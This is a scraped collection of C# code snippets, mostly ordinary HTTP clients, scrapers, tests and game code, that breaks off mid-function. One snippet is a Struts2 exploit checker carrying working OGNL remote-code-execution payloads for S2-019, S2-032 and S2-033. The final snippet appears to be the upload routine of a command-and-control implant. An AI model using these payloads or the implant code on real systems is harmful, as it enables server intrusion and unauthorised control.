public RestifizerResponse(HTTP.Request request, RestifizerError error, string tag) {
			this.Status = request.response.status;
			this.HasError = true;
			this.Error = error;
			this.Request = request;
			this.Tag = tag;
		}
		public RestifizerResponse(HTTP.Request request, ArrayList result, string tag) {
			this.IsList = true;
			this.Status = request.response.status;
			this.ResourceList = result;
            this.HasError = false;
			this.Request = request;
			this.Tag = tag;
		}
예제 #3
0
 private void sendResource(HTTP.HttpPack pack, Socket client)
 {
     var assembly = System.Reflection.Assembly.GetExecutingAssembly();
     var stream = assembly.GetManifestResourceStream(pack.Request);
     byte[] buf = new byte[stream.Length];
     stream.Read(buf, 0, buf.Length);
     stream.Close();
     var encoding = Encoding.GetEncoding(1251);
     var res = new HTTP.HttpPack(encoding.GetString(buf));
     res.ContentType = "application/octet-stream";
     client.Send(encoding.GetBytes(res.ToString(HTTP.ResponseCode.OK)));
 }
예제 #4
0
 private void _OnResponse(HTTP.Response response)
 {
     if (response != null && response.status == 200)
     {
         PackageIn pkg = new PackageIn();
         pkg.Load(response.Bytes, 0, response.Bytes.Length);
         ProtocolManager.instance.ReadMessage(pkg.code, pkg);
     }
     else
     {
         EventManager.Dispatch(this, HTTP_ERROR);
     }
 }
예제 #5
0
        /// <summary>
        /// Get a list of DeviceConfigurations of all of the user's devices
        /// </summary>
        /// <param name="userConfig">UserConfiguration object for the current user</param>
        /// <returns></returns>
        public static List <DeviceConfiguration> Get(UserConfiguration userConfig)
        {
            Uri apiHost = ApiConfiguration.AuthenticationApiHost;

            string url = new Uri(apiHost, "devices/get/index.php").ToString();

            string format = "{0}?token={1}&sender_id={2}";

            string token    = userConfig.SessionToken;
            string senderId = UserManagement.SenderId.Get();

            url = string.Format(format, url, token, senderId);

            string response = HTTP.GET(url);

            if (response != null)
            {
                bool success = ApiError.ProcessResponse(response, "Get Devices");
                if (success)
                {
                    var deviceInfos = JSON.ToType <List <DeviceInfo> >(response);
                    if (deviceInfos != null)
                    {
                        var deviceConfigs = new List <DeviceConfiguration>();

                        foreach (var deviceInfo in deviceInfos)
                        {
                            var table = deviceInfo.ToTable();
                            if (table != null)
                            {
                                var xml = DeviceConfiguration.TableToXml(table);
                                if (xml != null)
                                {
                                    var deviceConfig = DeviceConfiguration.Read(xml);
                                    if (deviceConfig != null && !string.IsNullOrEmpty(deviceConfig.UniqueId))
                                    {
                                        deviceConfigs.Add(deviceConfig);
                                    }
                                }
                            }
                        }

                        return(deviceConfigs);
                    }
                }
            }

            return(null);
        }
 void RegisterUser(SmartObject obj, ulong sender)
 {
     string username = obj.GetString("username");
     string password = obj.GetString("password");
     string email = obj.GetString("email");
     HTTP http = new HTTP("http://www.turnofwar.com/game/newuser.php");
     http.Get((responses) => {
         Debug_Console.i.add((string) responses);
         SmartObject response_obj = new SmartObject();
         response_obj.AddString("type", "Register");
         response_obj.AddString("response", (string) responses);
         response_obj.AddInt("sender", (int) Networking.PrimarySocket.Me.NetworkId);
         Networking.WriteCustom(EventHelper.GetEventId("ServerResponse"), socket, EasySerialization.EasySerialize(response_obj), GetNetPlayer(sender), true);
     }, new string[3] { "username="******"password="******"email=" + email });
 }
예제 #7
0
        public static Providers getProviderLoginForm(String providerId)
        {
            //Console.WriteLine(fqcn + " :: " + mn);
            String        getSiteURL      = LoginApp.localURLVer1 + "providers/" + providerId;
            List <string> headers         = new List <string>();
            string        usersessionid   = LoginApp.usession;
            string        cbrandsessionid = LoginApp.cbsession;

            headers.Add("Authorization:{userSession= " + usersessionid + ",cobSession=" + cbrandsessionid + "}");
            String    jsonResponse = HTTP.doGet(getSiteURL, headers);
            Providers providers    = (Providers)GSONParser.handleJson(jsonResponse, typeof(Providers));

            Console.WriteLine(providers.toString());
            return(providers);
        }
예제 #8
0
 private void AskPartnersData()
 {
     HTTP.Get("/check-partner", new Dictionary <string, object>()
     {
         { "a_uid", aimUid[0] },
         { "b_uid", aimUid[1] },
         { "room_id", GameData.Shared.Room.Value },
     }, (data) =>
     {
         var partnerData = PoolMan.Spawn("PartnerData");
         partnerData.GetComponent <DOPopup>().Show();
         var dataDic = Json.Decode(data) as Dictionary <string, object>;
         partnerData.GetComponent <PartnerData>().Init(dataDic);
     });
 }
예제 #9
0
        public static async Task <string> GetAPIKey(string url, CancellationToken cancellationToken)
        {
            var http = await HTTP.Request(url + "/en/login", cancellationToken).ConfigureAwait(false);

            if (http.IsOK)
            {
                var regEx = Regex.Match(http.Content, "\"apiKey\":\"(.*?)\"");
                if (regEx.Groups.Count > 0)
                {
                    return(regEx.Groups[1].Value);
                }
            }

            return(string.Empty);
        }
예제 #10
0
        public static bool checkConnection(Config config, Proxy proxy)
        {
            String     crequest = request.Replace("{host}", config.proxy_check_host).Replace("{port}", config.proxy_check_port.ToString());
            ServerInfo server   = HTTP.sendRequestRetry(false, config.reTry, proxy.host, proxy.port, "", request, config.timeOut, config.encoding, true, false);

            if (!String.IsNullOrEmpty(server.body) && server.body.IndexOf(config.proxy_check_Keys) != -1)
            {
                ConectProxyUseTime = (int)server.runTime;
                return(true);
            }
            else
            {
                return(false);
            }
        }
예제 #11
0
        public static string addSiteAccount(Provider loginForm)
        {
            string        mn              = "addSiteAccount( " + loginForm.ToString() + " )";
            string        loginFormJson   = JsonConvert.SerializeObject(loginForm);
            string        addSiteURL      = LoginApp.localURLVer1 + "providers/v1/" + loginForm.getProvider()[0].Id;
            List <string> headers         = new List <string>();
            string        usersessionid   = LoginApp.usession;
            string        cbrandsessionid = LoginApp.cbsession;

            headers.Add("Authorization:{userSession= " + usersessionid + ",cobSession=" + cbrandsessionid + "}");
            string jsonResponse = HTTP.doPut(addSiteURL, loginFormJson, headers);

            jsonresp = jsonResponse;
            return(jsonResponse);
        }
예제 #12
0
        private async Task SearchE621(CommandReplyEmbed embedrep, SocketMessage msg, List <string> args)
        {
            if (msg.Channel.IsNsfw)
            {
                Random rand = new Random();
                string body = await HTTP.Fetch("https://e621.net/post/index.json", this.Log);

                List <E621.EPost> posts = JSON.Deserialize <List <E621.EPost> >(body, this.Log);
                E621.EPost        post;

                if (posts == null)
                {
                    await embedrep.Danger(msg, "Err", "There was no data to use sorry!");
                }
                else
                {
                    if (string.IsNullOrWhiteSpace(args[0]))
                    {
                        post = E621.SortingHandler.GetRandom(posts);
                    }
                    else
                    {
                        post = E621.Search.Handle(posts, args);
                    }

                    if (post == null)
                    {
                        await embedrep.Danger(msg, "Nooo", "Seems like I couldn't find anything!");
                    }
                    else
                    {
                        EmbedBuilder embed = new EmbedBuilder
                        {
                            Color       = new Color(110, 220, 110),
                            ImageUrl    = post.sample_url,
                            Title       = "E621 - " + msg.Author.Username,
                            Description = post.sample_url + "\n*Width: " + post.sample_width + "\tHeight: " + post.sample_height + "*"
                        };

                        await embedrep.Send(msg, embed.Build());
                    }
                }
            }
            else
            {
                await embedrep.Danger(msg, "Hum no.", "Haha, did you really believe it would be that easy? :smirk:");
            }
        }
        public async Task <IActionResult> AddDeposit([FromBody] DepositeRequest bodyPayload)
        {
            /*
             * Will receive a body with an amount and a BankUserId (/)
             * Amount deposited cannot be null or negative (/)
             * A deposit amount will first be sent to the interest rate function –the result will be saved in the database (/)
             * A record will be inserted in the deposits table as well (/)
             */

            if (bodyPayload.Amount <= 0)
            {
                return(Conflict("Amount cannot be null negative."));
            }
            try
            {
                double interestRateFuncResponse      = 0;
                HttpResponseMessage intrestFunctResp = await HTTP.PostRequest("http://interest_rate_func/api/Interest_rate_function", new { amount = bodyPayload.Amount }, CancellationToken.None); // url is to be replaced

                if (intrestFunctResp != null && intrestFunctResp.StatusCode == HttpStatusCode.OK)
                {
                    var temp = await intrestFunctResp.Content.ReadAsStringAsync();

                    interestRateFuncResponse = Convert.ToDouble(temp.Replace(".", ","));
                }
                if (interestRateFuncResponse == 0)
                {
                    return(NotFound("Interest rate function may be offline. Try again later."));
                }
                DepositDto depositToInsert = new DepositDto(bodyPayload.BankUserId, TimeStamp.GetDateTimeOffsetNowAsUnixTimeStampInSeconds(), bodyPayload.Amount);

                using (var connection = _databaseContext.Connection)
                {
                    var result = await connection.ExecuteAsync("insert into Deposit (BankUserId,CreatedAt,Amount)" +
                                                               "values (@BankUserId,@CreatedAt,@Amount)", depositToInsert);

                    if (result != 1)
                    {
                        NotFound("Deposit could not be added.");
                    }
                }

                return(Ok("Deposit added."));
            }
            catch (Exception ex)
            {
                return(NotFound(ex));
            }
        }
예제 #14
0
//JAVA TO C# CONVERTER TODO TASK: Most Java annotations will not have direct .NET equivalent attributes:
//ORIGINAL LINE: @Test public void shouldLaunchAServerInSpecifiedDirectory()
        public virtual void ShouldLaunchAServerInSpecifiedDirectory()
        {
            // Given
            File workDir = TestDir.directory("specific");

            // When
            using (ServerControls server = GetTestServerBuilder(workDir).newServer())
            {
                // Then
                assertThat(HTTP.GET(server.HttpURI().ToString()).status(), equalTo(200));
                assertThat(workDir.list().length, equalTo(1));
            }

            // And after it's been closed, it should've cleaned up after itself.
            assertThat(Arrays.ToString(workDir.list()), workDir.list().length, equalTo(0));
        }
예제 #15
0
        /// <summary>
        /// 下载指定股票的首页概览
        /// </summary>
        /// <param name="stockcode">股票代码</param>
        /// <returns></returns>
        public string GetSYGL(string stockcode)
        {
            var httpdownloader = new HTTP();
            var headers        = new Dictionary <HttpRequestHeader, string>();

            headers.Add(HttpRequestHeader.Accept, "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8");
            headers.Add(HttpRequestHeader.AcceptEncoding, "gzip,deflate");
            headers.Add(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4");
            headers.Add(HttpRequestHeader.Host, "stockpage.10jqka.com.cn");
            headers.Add(HttpRequestHeader.Referer, "http://www.10jqka.com.cn/");
            headers.Add(HttpRequestHeader.UserAgent, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36");
            var url  = string.Format("http://stockpage.10jqka.com.cn/{0}/", stockcode);
            var html = httpdownloader.GetGzip2(url, Encoding.UTF8, headers);

            return(html);
        }
예제 #16
0
        public static async Task<JObject> GetJSONfromPage(string url, CancellationToken cancellationToken)
        {
            JObject json = null;

            var http = await HTTP.Request(url, cancellationToken).ConfigureAwait(false);
            if (http.IsOK)
            {
                var regEx = new Regex(@"window\.__INITIAL_STATE__ = (.*);").Match(http.Content);
                if (regEx.Groups.Count > 0)
                {
                    json = (JObject)JObject.Parse(regEx.Groups[1].Value)["content"];
                }
            }

            return json;
        }
예제 #17
0
//JAVA TO C# CONVERTER TODO TASK: Most Java annotations will not have direct .NET equivalent attributes:
//ORIGINAL LINE: @Test public void shouldLaunchWithDeclaredFunctions() throws Exception
//JAVA TO C# CONVERTER WARNING: Method 'throws' clauses are not available in C#:
        public virtual void ShouldLaunchWithDeclaredFunctions()
        {
            // When
            Type <MyFunctions> functionClass = typeof(MyFunctions);

            using (ServerControls server = CreateServer(functionClass).newServer())
            {
                // Then
                HTTP.Response response = HTTP.POST(server.HttpURI().resolve("db/data/transaction/commit").ToString(), quotedJson("{ 'statements': [ { 'statement': 'RETURN org.neo4j.harness.myFunc() AS someNumber' } ] " + "}"));

                JsonNode result = response.Get("results").get(0);
                assertEquals("someNumber", result.get("columns").get(0).asText());
                assertEquals(1337, result.get("data").get(0).get("row").get(0).asInt());
                assertEquals("[]", response.Get("errors").ToString());
            }
        }
예제 #18
0
 /// <summary>
 /// Creates a clone of this instance
 /// </summary>
 /// <returns>Clone of this instance</returns>
 public object Clone()
 {
     return(new Channels
     {
         HTTP = (Channel)HTTP.Clone(),
         Telnet = (Channel)Telnet.Clone(),
         File = (Channel)File.Clone(),
         USB = (Channel)USB.Clone(),
         AUX = (Channel)AUX.Clone(),
         Daemon = (Channel)Daemon.Clone(),
         CodeQueue = (Channel)CodeQueue.Clone(),
         LCD = (Channel)LCD.Clone(),
         SPI = (Channel)SPI.Clone(),
         AutoPause = (Channel)AutoPause.Clone()
     });
 }
        public static async Task <JObject> GetDataFromAPI(string url, string searchData, CancellationToken cancellationToken)
        {
            JObject json = null;

            var text  = $"{{'requests':[{{'indexName':'nacms_combined_production','params':'{searchData}&hitsPerPage=100'}}]}}".Replace('\'', '"');
            var param = new StringContent(text, Encoding.UTF8, "application/json");

            var http = await HTTP.Request(url, HttpMethod.Post, param, cancellationToken).ConfigureAwait(false);

            if (http.IsOK)
            {
                json = JObject.Parse(http.Content);
            }

            return(json);
        }
예제 #20
0
        /// <summary>
        /// 获取历史交易
        /// </summary>
        /// <param name="stockcode"></param>
        /// <param name="year"></param>
        /// <param name="jidu"></param>
        /// <returns></returns>
        /// <example>view-source:http://vip.stock.finance.sina.com.cn/corp/go.php/vMS_MarketHistory/stockid/600617.phtml?year=2017&jidu=1</example>
        public string GetLSJY(string stockcode, int year, int jidu)
        {
            string url            = string.Format("http://vip.stock.finance.sina.com.cn/corp/go.php/vMS_MarketHistory/stockid/{0}.phtml?year={1}&jidu={2}", stockcode, year, jidu);
            var    httpdownloader = new HTTP();
            var    headers        = new Dictionary <HttpRequestHeader, string>();

            headers.Add(HttpRequestHeader.Accept, "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8");
            headers.Add(HttpRequestHeader.AcceptEncoding, "gzip, deflate");
            headers.Add(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.8,en-US;q=0.6,en;q=0.4");
            headers.Add(HttpRequestHeader.UserAgent, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36");
            headers.Add(HttpRequestHeader.Referer, url);

            var strData = httpdownloader.GetGzip2(url, Encoding.GetEncoding("GBK"), headers);

            return(strData);
        }
예제 #21
0
        /// <summary>
        /// 下载指定的新闻内容
        /// </summary>
        /// <param name="articleUrl">http://news.10jqka.com.cn/20171129/c601825811.shtml</param>
        /// <param name="parentUrl">http://news.10jqka.com.cn/today_list/20171129/</param>
        /// <returns></returns>
        public string GetNewsArticle(string articleUrl, string parentUrl)
        {
            var httpdownloader = new HTTP();

            var headers = new Dictionary <HttpRequestHeader, string>();

            headers.Add(HttpRequestHeader.Accept, "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8");
            headers.Add(HttpRequestHeader.AcceptEncoding, "gzip, deflate");
            headers.Add(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7");
            headers.Add(HttpRequestHeader.Host, "news.10jqka.com.cn");
            headers.Add(HttpRequestHeader.Referer, parentUrl);
            headers.Add(HttpRequestHeader.UserAgent, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36");
            var html = httpdownloader.GetGzip2(articleUrl, Encoding.GetEncoding("GBK"), headers);

            return(html);
        }
예제 #22
0
        public void getInfo()
        {
            this.loginfo("正在获取Web信息,请稍等片刻........");
            string     data = "redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().print(%22web%22),%23resp.getWriter().print(%22path:%22),%23resp.getWriter().print(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23resp.getWriter().flush(),%23resp.getWriter().close()}";
            ServerInfo info = HTTP.getResponse("post", this.TxtUrl.Text, 30, data, "");

            if (this.Radb019.Checked)
            {
                data = "debug=command&expression=%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().print(%22web%22),%23resp.getWriter().print(%22path:%22),%23resp.getWriter().print(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23resp.getWriter().flush(),%23resp.getWriter().close()";
            }
            else if (this.Radb032.Checked)
            {
                data = "method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23path%3d%23req.getRealPath(%23parameters.pp[0]),%23w%3d%23res.getWriter(),%23w.print(%23parameters.web[0]),%23w.print(%23parameters.path[0]),%23w.print(%23path),1?%23xx:%23request.toString&pp=%2f&encoding=UTF-8&web=web&path=path%3a";
                info = HTTP.getResponse("get", this.TxtUrl.Text, 30, data, "");
            }
            else if (this.Radb033.Checked)
            {
                data = "method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23parameters.content[0]),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908";
                info = HTTP.getResponse("get", this.TxtUrl.Text, 30, data, "");
            }
            this.TxtInfo.Text = info.body;
            if (info.body.IndexOf("webpath:") != -1)
            {
                flags = 1;
                if (this.Radb019.Checked)
                {
                    MessageBox.Show("该目标存在Struts2远程代码执行漏洞-编号St2-019");
                    this.loginfo("验证结果:该目标存在Struts2远程代码执行漏洞-编号St2-019");
                }
                else if (this.Radb032.Checked)
                {
                    MessageBox.Show("存在Struts2远程代码执行漏洞-编号St2-032");
                    this.loginfo("验证结果:该目标存在Struts2远程代码执行漏洞-编号St2-032");
                }
                else if (this.Radb033.Checked)
                {
                    MessageBox.Show("存在Struts2远程代码执行漏洞-编号St2-033");
                    this.loginfo("验证结果:该目标存在Struts2远程代码执行漏洞-编号St2-033");
                }
                else
                {
                    MessageBox.Show("存在Struts2远程代码执行漏洞-编号St2-016");
                    this.loginfo("验证结果:该目标存在Struts2远程代码执行漏洞-编号St2-016");
                }
            }
            this.loginfo("获取Web信息完毕......");
        }
예제 #23
0
        public static List <MessageInfo> Get(UserConfiguration userConfig, List <string> messageIds)
        {
            Uri apiHost = ApiConfiguration.AuthenticationApiHost;

            string url = new Uri(apiHost, "messages/get/index.php").ToString();

            string format = "{0}?token={1}&sender_id={2}{3}";

            string token    = userConfig.SessionToken;
            string senderId = UserManagement.SenderId.Get();
            string devices  = "";

            // List Message IDs to Get
            // If no Messages are listed then ALL Messages are retrieved
            if (messageIds != null)
            {
                string json = JSON.FromList <string>(messageIds);
                if (!string.IsNullOrEmpty(json))
                {
                    devices = "messages=" + json;
                }
            }

            url = string.Format(format, url, token, senderId, devices);

            var httpInfo = new HTTP.HTTPInfo();

            httpInfo.Url         = url;
            httpInfo.MaxAttempts = 1;

            string response = HTTP.GET(httpInfo);

            if (response != null)
            {
                bool success = ApiError.ProcessResponse(response, "Get Messages");
                if (success)
                {
                    var messageInfos = JSON.ToType <List <MessageInfo> >(response);
                    if (messageInfos != null)
                    {
                        return(messageInfos);
                    }
                }
            }

            return(null);
        }
예제 #24
0
        private MTConnect.Application.Streams.ReturnData GetSample(Streams header, Data.AgentInfo ac, DeviceConfiguration config)
        {
            MTConnect.Application.Streams.ReturnData result = null;

            string address    = ac.Address;
            int    port       = ac.Port;
            string deviceName = ac.DeviceName;

            // Set Proxy Settings
            var proxy = new HTTP.ProxySettings();

            proxy.Address = ac.ProxyAddress;
            proxy.Port    = ac.ProxyPort;

            SampleInfo info = GetSampleInfo(header, config);

            if (info != null)
            {
                if (info.Count > 0)
                {
                    DateTime requestTimestamp = DateTime.Now;

                    string url = HTTP.GetUrl(address, port, deviceName) + "sample?from=" + info.From.ToString() + "&count=" + info.Count.ToString();

                    result = MTConnect.Application.Streams.Requests.Get(url, proxy, ac.Heartbeat / 2, 2);
                    if (result != null)
                    {
                        UpdateAgentData(header.InstanceId, info.From + info.Count);

                        if (verbose)
                        {
                            Logger.Log("Sample Successful : " + url + " @ " + requestTimestamp.ToString("o"), LogLineType.Console);
                        }
                    }
                    else
                    {
                        Logger.Log("Sample Error : " + url + " @ " + requestTimestamp.ToString("o"));
                    }
                }
                else
                {
                    UpdateAgentData(header.InstanceId, header.LastSequence);
                }
            }

            return(result);
        }
예제 #25
0
        /// <summary>
        ///     Dada una IP devuelve la información que obtiene el búscador Shodan de ella
        /// </summary>
        /// <param name="strIPAddress"></param>
        /// <returns></returns>
        private ShodanIPInformation GetShodanInformation(string strIPAddress)
        {
            //Obtiene el HTML de la petición
            string json = MakeShodanRequestIP(strIPAddress);
            //Parsea el HTML y obtiene los datos de respuesta
            List <ShodanIPInformation> lstSIPinfo = ParseJsonShodan(json);
            //Filtra los datos para que se quede solo con los de la ip buscada
            ShodanIPInformation SIPinfo = lstSIPinfo.FirstOrDefault(p => p.IPAddress == strIPAddress);

            //Damos prioridad al fprinting de shodan al del modulo fingerprinting/http.cs
            if (SIPinfo != null && String.IsNullOrWhiteSpace(SIPinfo.OS))
            {
                SIPinfo.OS = HTTP.GetOsFromBanner(SIPinfo.ServerBanner).ToString();
            }

            return(SIPinfo);
        }
        /// <summary>
        /// 创建用户
        /// </summary>
        /// <param name="createUser">Create user.</param>
        public async Task <CreateUser> CreateUser(CreateUser createUser)
        {
            /*
             * if (createUser == null)
             * {
             *  throw new Exception("用户信息不能为空");
             * }
             * if (createUser.nickname.Length > 128)
             * {
             *  throw new Exception("用户昵称不能超过128个字符");
             * }
             * if (createUser.avatar_url.Length > 512)
             * {
             *  throw new Exception("用户头像地址不能超过512个字符");
             * }
             * if (createUser.user_id == null)
             * {
             *  throw new Exception("用户id不能为空");
             * }
             * if (createUser.user_id.Length > 128)
             * {
             *  throw new Exception("用户id不能超过128个字符");
             * }*/

            string rel = await HTTP.PostAPI(this.pubkey, this.secrect, WulAiAPI.CreateUser, JsonConvert.SerializeObject(createUser), debug);

            WulAiResult wulAiResult = null;

            try
            {
                wulAiResult = JsonConvert.DeserializeObject <WulAiResult>(rel);
            }
            catch (Exception ex)
            {
                throw new Exception(Log.ClientError($"WulAiResult反序列化失败: {ex.ToString()}"));
            }

            if (wulAiResult.code != 0)
            {
                throw new Exception(Log.ServerError($"{wulAiResult.error}"));
            }
            else
            {
                return(createUser);
            }
        }
예제 #27
0
        /// <summary>
        /// 获取板块概念
        /// </summary>
        /// <param name="stockCode"></param>
        /// <returns></returns>
        public string GetBKGN(string stockCode)
        {
            var url            = string.Format("http://vip.stock.finance.sina.com.cn/corp/go.php/vCI_CorpOtherInfo/stockid/{0}/menu_num/5.phtml", stockCode);
            var httpDownloader = new HTTP();
            var headers        = new Dictionary <HttpRequestHeader, string>();

            headers.Add(HttpRequestHeader.Accept, "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8");
            headers.Add(HttpRequestHeader.AcceptEncoding, "gzip, deflate");
            headers.Add(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7");
            headers.Add(HttpRequestHeader.Host, "vip.stock.finance.sina.com.cn");
            headers.Add(HttpRequestHeader.Referer, string.Format("http://vip.stock.finance.sina.com.cn/corp/go.php/vCI_CorpXiangGuan/stockid/{0}.phtml", stockCode));
            headers.Add(HttpRequestHeader.UserAgent, CONST.UserAgent);

            var strData = httpDownloader.GetGzip2(url, Encoding.GetEncoding("GBK"), headers);

            return(strData);
        }
예제 #28
0
        /// <summary>
        /// 获取财务摘要
        /// http://vip.stock.finance.sina.com.cn/corp/go.php/vFD_FinanceSummary/stockid/601888.phtml
        /// </summary>
        /// <param name="stockCode"></param>
        public string GetCWZY(string stockCode)
        {
            var url            = string.Format("http://vip.stock.finance.sina.com.cn/corp/go.php/vFD_FinanceSummary/stockid/{0}.phtml", stockCode);
            var httpDownloader = new HTTP();
            var headers        = new Dictionary <HttpRequestHeader, string>();

            headers.Add(HttpRequestHeader.Accept, "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8");
            headers.Add(HttpRequestHeader.AcceptEncoding, "gzip, deflate");
            headers.Add(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7");
            headers.Add(HttpRequestHeader.Host, "money.finance.sina.com.cn");
            headers.Add(HttpRequestHeader.Referer, string.Format("http://money.finance.sina.com.cn/corp/go.php/vFD_FinanceSummary/stockid/{0}/displaytype/4.phtml", stockCode));
            headers.Add(HttpRequestHeader.UserAgent, "Mozilla/5.0(Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36");

            var strData = httpDownloader.GetGzip2(url, Encoding.GetEncoding("GBK"), headers);

            return(strData);
        }
        private async void UpdateNewNickname()
        {
            UIVM.IsEditingNickname         = false;
            LocalUserVM.LocalUser.Nickname = UIVM.EditingNickname;
            PutUsers_Result result = await HTTP.PutUsers_(LocalUserVM.JWT, LocalUserVM.LocalUser.Username, UIVM.EditingNickname, "", "", "", -1, -1);

            switch (result.StatusCode)
            {
            case PutUsers_Result.PutUser_StatusCode.Success:
                break;

            default:
                NotificationHelper.ShowToast("修改失败!");
                break;
            }
            LocalUserVM.Sync();
        }
예제 #30
0
        public static void ImagePage(string Id, int pageIndex, Action <string, int> action, Action <Exception> exaction)
        {
            Task.Factory.StartNew(() =>
            {
                try
                {
                    string URL = "http://www.mzitu.com/" + Id + "/" + pageIndex;
                    using (HttpWebResponse response = HTTP.CreateGetHttpResponse(URL))
                    {
                        //使用手册
                        //返回加密的GZIP
                        GZipStream g = new GZipStream(response.GetResponseStream(), CompressionMode.Decompress);
                        StreamReader myStreamReader = new StreamReader(g, Encoding.GetEncoding("UTF-8"));
                        String msg = myStreamReader.ReadToEnd();

                        //msg是首页的html
                        //<ul id="pins">  </ul>
                        // 定义正则表达式用来匹配 标签
                        List <Image> list = new List <Image>();
                        int pageSize      = 0;
                        //<div class="main-image"><p><a href="http://www.mzitu.com/104746/2" ><img src="http://i.meizitu.net/2017/10/06c01.jpg" alt="性感美女温伊怡肉弹袭击 巨乳Q弹水嫩无比" /></a></p></ div >
                        var matches = Regex.Matches(msg, "<div class=\"main-image\">[\\s\\S]*?</div>");//取出每个<tr>
                        foreach (Match mc in matches)
                        {
                            string allText = mc.Groups[0].Value;

                            var matchesItem = Regex.Matches(allText, "<img[\\s\\S]*?/>");//取出每个<tr>
                            foreach (Match mcItem in matchesItem)
                            {
                                string ItemText = mcItem.Groups[0].Value.Split('\"')[1];

                                DownImage(Id + "\\", Id + "_" + pageIndex + ".jpg", ItemText, new Action <string>((path) =>
                                {
                                    action(path, pageSize);
                                }));
                            }
                        }
                    }
                }
                catch (Exception ex)//全局错误-网络错误 操作错误
                {
                    exaction(ex);
                    //MessageBox.Show("首页数据解析失败!"+ex.Message);
                }
            });
        }
예제 #31
0
파일: UserRemark.cs 프로젝트: rfHu/poker
    public void OnSave()
    {
        if (requesting)
        {
            return;
        }

        requesting = true;

        HTTP.Post("/remark", new Dictionary <string, object> {
            { "user_id", Uid },
            { "remark", Input.text }
        }, (_) => {
            requesting = false;
            PoolMan.Spawn("User").GetComponent <UserDetail>().Init(Uid);
        });
    }
예제 #32
0
파일: Form1.cs 프로젝트: mabeyu/CEF
 /// <summary>
 /// 处理裁剪信息
 /// </summary>
 /// <param name="sender"></param>
 /// <param name="e"></param>
 private void fileSystemWatcher2_Created(object sender, FileSystemEventArgs e)
 {
     try
     {
         websocket.Dwon(mWebsocket.path, mWebsocket.maskList);
         //复制文件到指定目录
         string sourcePath = this.fileSystemWatcher2.Path + @"\" + mWebsocket.businessId;
         string destPath   = @"D:\";
         HTTP.CopyFile(sourcePath, destPath);
         MessageBox.Show("裁床可执行NC文件已经保存到D盘根目录!");
     }
     catch (Exception ex)
     {
         IniHelper.WriteLog(ex);
         MessageBox.Show(ex.Message);
     }
 }
예제 #33
0
        public static Accounts getAccounts()
        {
            string mn = "getAccounts()";

            Console.WriteLine(fqcn + " :: " + mn);
            string        accountSummaryURL = LoginApp.localURLVer1 + "accounts/";
            List <string> headers           = new List <string>();
            string        usersessionid     = LoginApp.usession;
            string        cbrandsessionid   = LoginApp.cbsession;

            headers.Add("Authorization:{userSession= " + usersessionid + ",cobSession=" + cbrandsessionid + "}");
            string   jsonResponse = HTTP.doGet(accountSummaryURL, headers);//headers-authorization headers i.e-member external sesionid,cobrand external session id
            Type     acc          = typeof(Accounts);
            Accounts accounts     = (Accounts)GSONParser.handleJson(jsonResponse, acc);

            return(accounts);
        }
예제 #34
0
        public static void Execute(SCTask task, SCImplant implant)
        {
            JObject json     = (JObject)JsonConvert.DeserializeObject(task.@params);
            string  file_id  = json.Value <string>("file_id");
            string  filepath = json.Value <string>("remote_path");

            Debug.WriteLine("[-] Upload - Tasked to get file " + file_id);

            // If file exists, don't write file
            if (File.Exists(filepath))
            {
                Debug.WriteLine($"[!] Upload - ERROR: File exists: {filepath}");
                implant.SendError(task.id, "ERROR: File exists.");
            }
            else
            {
                // First we have to request the file from the server with a POST
                string fileEndpoint = implant.endpoint + "files/callback/" + implant.callbackId;
                try // Try block for HTTP request
                {
                    string payload = "{\"file_id\": \"" + file_id + "\"}";

                    string result = HTTP.Post(fileEndpoint, payload);
                    byte[] output = Convert.FromBase64String(result);
                    try // Try block for writing file to disk
                    {
                        // Write file to disk
                        File.WriteAllBytes(filepath, output);
